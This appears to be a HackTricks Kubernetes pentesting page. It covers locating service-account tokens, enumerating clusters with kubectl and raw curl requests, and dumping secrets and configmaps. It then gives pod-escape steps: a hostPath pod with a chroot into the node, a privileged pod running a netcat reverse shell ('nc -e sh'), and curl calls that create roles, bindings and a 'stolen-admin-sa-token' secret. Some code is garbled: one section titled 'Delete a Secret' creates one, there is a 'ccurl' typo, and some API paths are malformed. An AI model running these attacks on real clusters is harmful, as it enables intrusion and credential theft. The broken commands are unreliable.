# Kubernetes Enumeration {{#include ../../banners/hacktricks-training.md}} ## Kubernetes Tokens If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**. In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved. If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env: ### Service Account Tokens Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.** Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): _“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ **ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\ Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties. Usually **one** of the directories: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` contain the files: - **ca.crt**: It's the ca certificate to check kubernetes communications - **namespace**: It indicates the current namespace - **token**: It contains the **service token** of the current pod. Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`** The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**. Default location on **Kubernetes**: - /etc/kubernetes/pki Default location on **Minikube**: - /var/lib/localkube/certs ### Hot Pods _**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc. ## RBAC If you don't know what is **RBAC**, **read this section**. ## GUI Applications - **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces. - **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet In order to enumerate a K8s environment you need a couple of this: - A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token. - The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file. - **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this. With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host. However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server. ### Differences between `list` and `get` verbs With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` If you have the **`list`** permission, you are allowed to execute API requests to list a type of asset (_`get` option in `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` If you have the **`watch`** permission, you are allowed to execute API requests to monitor assets: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created). > [!CAUTION] > The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get` ### Using curl From inside a pod you can use several env variables: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] > By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint). ### Using kubectl Having the token and the address of the API server you use kubectl or curl to access it as indicated here: By default, The APISERVER is communicating with `https://` schema ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` > if no `https://` in url, you may get Error Like Bad Request. You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to. To find the HTTP request that `kubectl` sends you can use the parameter `-v=8` #### MitM kubectl - Proxyfying kubectl ```bash # Launch burp # Set proxy export HTTP_PROXY=http://localhost:8080 export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` ### Current Configuration {{#tabs }} {{#tab name="Kubectl" }} ```bash kubectl config get-users kubectl config get-contexts kubectl config get-clusters kubectl config current-context # Change namespace kubectl config set-context --current --namespace= ``` {{#endtab }} {{#endtabs }} If you managed to steal some users credentials you can **configure them locally** using something like: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ --auth-provider-arg=idp-issuer-url=( issuer url ) \ --auth-provider-arg=client-id=( your client id ) \ --auth-provider-arg=client-secret=( your client secret ) \ --auth-provider-arg=refresh-token=( your refresh token ) \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` ### Get Supported Resources With this info you will know all the services you can list {{#tabs }} {{#tab name="kubectl" }} ```bash k api-resources --namespaced=true #Resources specific to a namespace k api-resources --namespaced=false #Resources NOT specific to a namespace ``` {{#endtab }} {{#endtabs }} ### Object metadata worth checking When you can read an object, export the full YAML or JSON instead of relying only on table output or `describe`. The most useful security context is often in generic object fields that exist across many resource types: ```bash kubectl get pod -n -o yaml kubectl get deploy -n -o json | jq '.metadata, .spec, .status' kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' ``` - `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind` identify the exact object and avoid confusion between objects with the same name in different namespaces or API groups. - `metadata.labels` and selectors connect Services, Deployments, ReplicaSets, Pods, NetworkPolicies and automation. Following selectors is often the fastest way to identify the real backend pods for a Service. - `metadata.annotations` can leak operational context such as ingress behavior, cloud load balancer settings, GitOps or Helm metadata, policy exemptions, and service mesh configuration. They should not contain secrets, but real clusters often expose useful clues there. - `metadata.ownerReferences` shows controller lineage. If a Pod is owned by a ReplicaSet owned by a Deployment, changing or deleting only the Pod usually does not fix the source. - `metadata.finalizers` and `metadata.deletionTimestamp` explain resources stuck in deletion and can reveal cleanup controllers or persistence/disruption tricks. - `status`, Events, and conditions can reveal node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, and controller progress. They are useful clues, but audit logs are still required to prove who performed an action. ### Dynamic Resource Allocation and device evidence If the cluster uses GPUs, NICs, FPGAs, or other specialized hardware, check whether Kubernetes Dynamic Resource Allocation (DRA) is present. DRA uses `resource.k8s.io` objects such as `DeviceClass`, `ResourceSlice`, `ResourceClaim`, and `ResourceClaimTemplate` to describe available devices and claim them for Pods. These objects can reveal which nodes can access valuable hardware, which driver manages it, and which workload has an allocation. ```bash kubectl api-resources --api-group=resource.k8s.io kubectl get deviceclasses.resource.k8s.io 2>/dev/null kubectl get resourceslices.resource.k8s.io 2>/dev/null kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}' kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga' ``` During review, restrict writes to cluster-scoped `DeviceClass` and `ResourceSlice` objects to admins and DRA drivers, and keep `ResourceClaim` / `ResourceClaimTemplate` rights scoped to the namespaces that need them. Driver permissions to update `ResourceClaim` status should be explicit and narrow. On nodes, the kubelet PodResources API is commonly exposed through `/var/lib/kubelet/pod-resources/kubelet.sock`; monitoring DaemonSets may mount that directory to inspect assigned devices, so review those Pods like other privileged node agents. ### ClusterTrustBundle and add-on certificate trust Recent clusters may expose `ClusterTrustBundle` objects in the `certificates.k8s.io` API group. They are cluster-scoped X.509 trust anchor bundles that Pods can mount through projected volumes. Broad read access is expected, but write access is sensitive because changing trusted roots can affect webhooks, aggregated APIs, service meshes, and applications that consume cluster-distributed CA material. ```bash kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null kubectl get clustertrustbundle -o yaml 2>/dev/null kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle' kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}' ``` During review, record `signerName`, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager. Treat `APIService` objects with `insecureSkipTLSVerify: true`, stale `caBundle` values, or broad permissions to patch APIService/webhook trust fields as certificate-trust findings rather than ordinary object inventory. ### Get Current Privileges {{#tabs }} {{#tab name="kubectl" }} ```bash k auth can-i --list #Get privileges in general k auth can-i --list -n custnamespace #Get privileves in custnamespace # Get service account permissions k auth can-i --list --as=system:serviceaccount:: -n ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' \ --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \ "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" ``` {{#endtab }} {{#endtabs }} Another way to check your privileges is using the tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* You can learn more about **Kubernetes RBAC** in: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} **Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} ### Get Others roles {{#tabs }} {{#tab name="kubectl" }} ```bash k get roles k get clusterroles ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" ``` {{#endtab }} {{#endtabs }} ### Get namespaces Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. {{#tabs }} {{#tab name="kubectl" }} ```bash k get namespaces ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/ ``` {{#endtab }} {{#endtabs }} ### Get secrets {{#tabs }} {{#tab name="kubectl" }} ```bash k get secrets -o yaml k get secrets -o yaml -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ ``` {{#endtab }} {{#endtabs }} If you can read secrets you can use the following lines to get the privileges related to each to token: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` ### Get Service Accounts As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges. {{#tabs }} {{#tab name="kubectl" }} ```bash k get serviceaccounts ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts ``` {{#endtab }} {{#endtabs }} ### Get Deployments Deployments specify the desired state for stateless application workloads. They create ReplicaSets, and those ReplicaSets create Pods. {{#tabs }} {{#tab name="kubectl" }} ```bash k get deployments k get deployments -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ ``` {{#endtab }} {{#endtabs }} ### Get StatefulSets StatefulSets manage Pods that need stable names, ordered rollout behavior, and often per-replica persistent volumes. {{#tabs }} {{#tab name="kubectl" }} ```bash k get statefulsets k get statefulsets -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ ``` {{#endtab }} {{#endtabs }} ### Get Pods The Pods are the actual **containers** that will **run**. {{#tabs }} {{#tab name="kubectl" }} ```bash k get pods k get pods -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//pods/ ``` {{#endtab }} {{#endtabs }} ### Get Services Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack. {{#tabs }} {{#tab name="kubectl" }} ```bash k get services k get services -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//services/ ``` {{#endtab }} {{#endtabs }} ### Get nodes Get all the **nodes configured inside the cluster**. {{#tabs }} {{#tab name="kubectl" }} ```bash k get nodes ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/nodes/ ``` {{#endtab }} {{#endtabs }} ### Get DaemonSets **DaemonSets** ensure that a **specific Pod is running on all selected nodes** of the cluster. If you delete the DaemonSet, the Pods managed by it will also be removed. {{#tabs }} {{#tab name="kubectl" }} ```bash k get daemonsets ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ``` {{#endtab }} {{#endtabs }} ### Get Jobs Jobs create Pods that run until completion. They are commonly used for migrations, backups, batch work, and one-off administrative tasks. {{#tabs }} {{#tab name="kubectl" }} ```bash k get jobs k get jobs -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs ``` {{#endtab }} {{#endtabs }} ### Get CronJobs CronJobs use a crontab-like schedule to create Jobs that launch Pods for task-style execution. {{#tabs }} {{#tab name="kubectl" }} ```bash k get cronjobs k get cronjobs -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs ``` {{#endtab }} {{#endtabs }} ### Get configMap configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service. {{#tabs }} {{#tab name="kubectl" }} ```bash k get configmaps # -n namespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps ``` {{#endtab }} {{#endtabs }} ### Get Network Policies / Cilium Network Policies {{#tabs }} {{#tab name="First Tab" }} ```bash k get networkpolicies k get CiliumNetworkPolicies k get CiliumClusterwideNetworkPolicies ``` {{#endtab }} {{#endtabs }} ### Get Everything / All {{#tabs }} {{#tab name="kubectl" }} ```bash k get all ``` {{#endtab }} {{#endtabs }} ### **Get all resources managed by helm** {{#tabs }} {{#tab name="kubectl" }} ```bash k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' ``` {{#endtab }} {{#endtabs }} ### **Get Pods consumptions** {{#tabs }} {{#tab name="kubectl" }} ```bash k top pod --all-namespaces ``` {{#endtab }} {{#endtabs }} ## Interacting with the cluster without using kubectl Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**. ### Escaping from the pod If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes. ```bash kubectl get pod [-n ] -o yaml ``` > if you need create pod on the specific node, you can use following command to get labels on node > > `k get nodes --show-labels` > > Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select. Then you create your attack.yaml file ```yaml apiVersion: v1 kind: Pod metadata: labels: run: attacker-pod name: attacker-pod namespace: default spec: volumes: - name: host-fs hostPath: path: / containers: - image: ubuntu imagePullPolicy: Always name: attacker-pod command: ["/bin/sh", "-c", "sleep infinity"] volumeMounts: - name: host-fs mountPath: /root restartPolicy: Never # nodeName and nodeSelector enable one of them when you need to create pod on the specific node #nodeName: master #nodeSelector: # kubernetes.io/hostname: master # or using # node-role.kubernetes.io/master: "" ``` [original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) After that you create the pod ```bash kubectl apply -f attacker.yaml [-n ] ``` Now you can switch to the created pod as follows ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` And finally you chroot into the node's system ```bash chroot /root /bin/bash ``` Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) ### Creating a privileged pod The corresponding yaml file is as follows: ```yaml apiVersion: v1 kind: Pod metadata: name: everything-allowed-exec-pod labels: app: pentest spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: everything-allowed-pod image: alpine securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "nc -e sh" ] #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name volumes: - name: noderoot hostPath: path: / ``` Create the pod with curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 478' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Delete a pod Delete a pod with curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" POD_NAME="everything-allowed-exec-pod" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` ### Create a Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Length: 109' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Delete a Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" SA_NAME="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` ### Create a Role ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'Accept: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 203' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Delete a Role ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" ROLE_NAME="" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" ``` ### Create a Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 816' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Delete a Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" ROLE_BINDING_NAME="" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` ### Delete a Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 219' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Delete a Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" SECRET_NAME="" ccurl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'Accept: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" ``` ## References {{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}} {{#include ../../banners/hacktricks-training.md}}